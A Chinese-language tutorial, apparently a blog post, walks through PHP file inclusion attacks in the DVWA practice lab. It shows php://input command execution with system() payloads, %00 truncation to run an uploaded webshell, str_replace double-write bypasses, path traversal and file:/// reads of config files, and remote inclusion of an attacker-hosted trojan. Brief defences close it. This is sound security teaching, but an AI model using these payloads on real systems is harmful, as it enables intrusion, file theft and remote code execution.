PHP包含读文件
这里我们用dvwa来玩一玩,找到文件包含测试,点击上面的
file1.php
,来到如下页面。
![](https://i-blog.csdnimg.cn/blog_migrate/b64e6dfd181661e1743bf259f9611a4f.png)
所以我们其实可以按照开发人员的思路来想,这个人开发的时候,这个功能是在干什么,我们看一下源码
![](https://i-blog.csdnimg.cn/blog_migrate/ee7c42585a49bce4ec02548e7bcb5e5d.png)
这个代码能看出,他没有对
page
参数做任何的过滤处理。
接下来我们抓包来玩一下,将
page
参数的值改为如下内容:
![](https://i-blog.csdnimg.cn/blog_migrate/6a597d4a5a8344b5619096d1178142c7.png)
然后我们去dvwa的目录下创建一个x.php文件,如果想读取当前目录的上一层目录还可以自己加 ../
然后通过burp的编码器来解码一下,看效果:
正是我们写的x.php文件里面的内容。
PHP包含写文件
写入文件内容,做命令执行动作,这种漏洞属于高危漏洞。
构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提
交post数据为:<?php system('net user');?>,这句话是利用php代码来执行操作系统指令,其实你执
行什么代码都可以,比如<?php system('netstat -an');?>
注意
:
只有在
allow _url_include
为
on
的时候才可以使用
,
如果想查看回显结果那必须在
C:\php\php-
5.2.14-Win32
下找到
php-apache2handler.ini
打开,查找
display_funtions=proc
open,oppen,exec,system…….
删掉
system
重启
apache
。
![](https://i-blog.csdnimg.cn/blog_migrate/a6997bb3d7f001b193b25f8e05ad64a7.png)
包含截断绕过
// 对于老手程序员,开发出来的代码可能会做一些安全限制,比如下面这种代码
<?php
if(isset($_GET['page'])){
include $_GET['page'] .".php" ; //这句代码的意思是,将用户传递过来的数据加上.php
后缀名,也就是我们只处理php文件
}else{
include 'home.php';
}
?>
这种方法只适合于
magic_quotes_gpc=off
的时候,
php
版本小于
5.3.4
,可通过
%00
截断绕过,不过现
在已经很难见到了,比如:
index.php?file=info.txt//…………
超过一定数据的
/
。
示例:比如还是我们的
123.php
文件,改动为上面的代码
![](https://i-blog.csdnimg.cn/blog_migrate/c8facf5a5299fd3f46d8d3a3861252f2.png)
并且注意这里面有个
webshell.jpg
文件,比如这个文件是我们上传上去的,我现在想执行以下它,于是我们在浏览器上访问了一下
![](https://i-blog.csdnimg.cn/blog_migrate/61e95e53c3d2469ca5697a7e50f6eb0b.png)
发现报错了,并且自动在你指定的参数值后面加上了
.php
后缀,导致我们无法访问到
webshell.jpg
文件,那么怎么搞呢?通过%00
截断,直接将你代码后面添加的
.php
给干掉了。注意了,这个和
web
服务程序的%00
截断不太一样,那个是
web
服务程序自身的解析漏洞,这个是程序员代码漏洞
str_replace函数绕过
这是一个替换数据的函数,而且只替换一次,所以有漏洞。
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,
于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
1、本地文件包含,写多个../那么str_replace其实只替换一次,那么我们的相对路径还能生效
http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././
xampp/htdocs/dvwa/php.ini
2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
3、远程文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/php
info.txt
用我们的
dvwa,然后将安全等级调为中危,那么各种漏洞的代码会自动发生变化
![](https://i-blog.csdnimg.cn/blog_migrate/36d91c521b6cf8d177236846dd1993ac.png)
这个代码的作用:
1.
不能远程包含了,现在还没讲远程包含漏洞
2.
将
../
等相对路径干掉了,这种情况如何突破呢?其实很简单。
比如我们就找这个文件
![](https://i-blog.csdnimg.cn/blog_migrate/69fffa5d09bccd4bfa4ebecc1a51d1fa.png)
然后通过浏览器访问:
相对路径方式:
方式
1
:
![](https://i-blog.csdnimg.cn/blog_migrate/ac591aa21408f3ced8c79a666696bea2.png)
方式2:我们访问不在当前目录的文件:我们把x.php放到这个目录中来
如下
,
也是可以的
,
如果你读取的是他源代码中的某些文件或者某些配置文件
,
我们需要编码一下
,
不然如果是php
文件
,
那么文件中的代码会执行
,
可能会看到代码执行过程中报错的问题
.
就利用上面我们讲过的php://协议来搞
.
远程包含路径方式
:
如果对方有这个远程包含漏洞
,
那么我们可以直接将我们自己某个服务器上的木马文件远程地址作为参数加入到这个远程包含漏洞中来执行
比如我们主机上的这个文件
:
![](https://i-blog.csdnimg.cn/blog_migrate/d85e87da0dbf564f78878b4bd8aaada4.png)
加上我们主机的地址来访问:
再比如访问我们自己的webshell.jpg
那么这里输入密码之后到底是进入到了目标主机还是我们自己的攻击主机呢
?,
输入密码进去之后
,
你会发 现就是我们的目标主机.
所以远程包含漏洞很严重。
fnmatch函数绕过
接下来将dvwa做一个高安全等级
通过查看源代码,我们发现了一个函数,叫做fnmatch,那么这个函数是做什么的呢?我们看下面
fnmatch函数是做正则匹配的.
if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不
是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。
page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)。注意,
file协议用的是三个反斜杠昂
构造url
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/p
hp.ini
成功读取了服务器的配置文件
示例: 比如我们读取c盘下面的boot.ini文件:
那么,如果做才能保证安全呢?看dvwa,我们将安全级别调制impossible,没有漏洞的意思
看代码:直接使用的是不等于某个绝对名称
文件包含漏洞的防御
1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单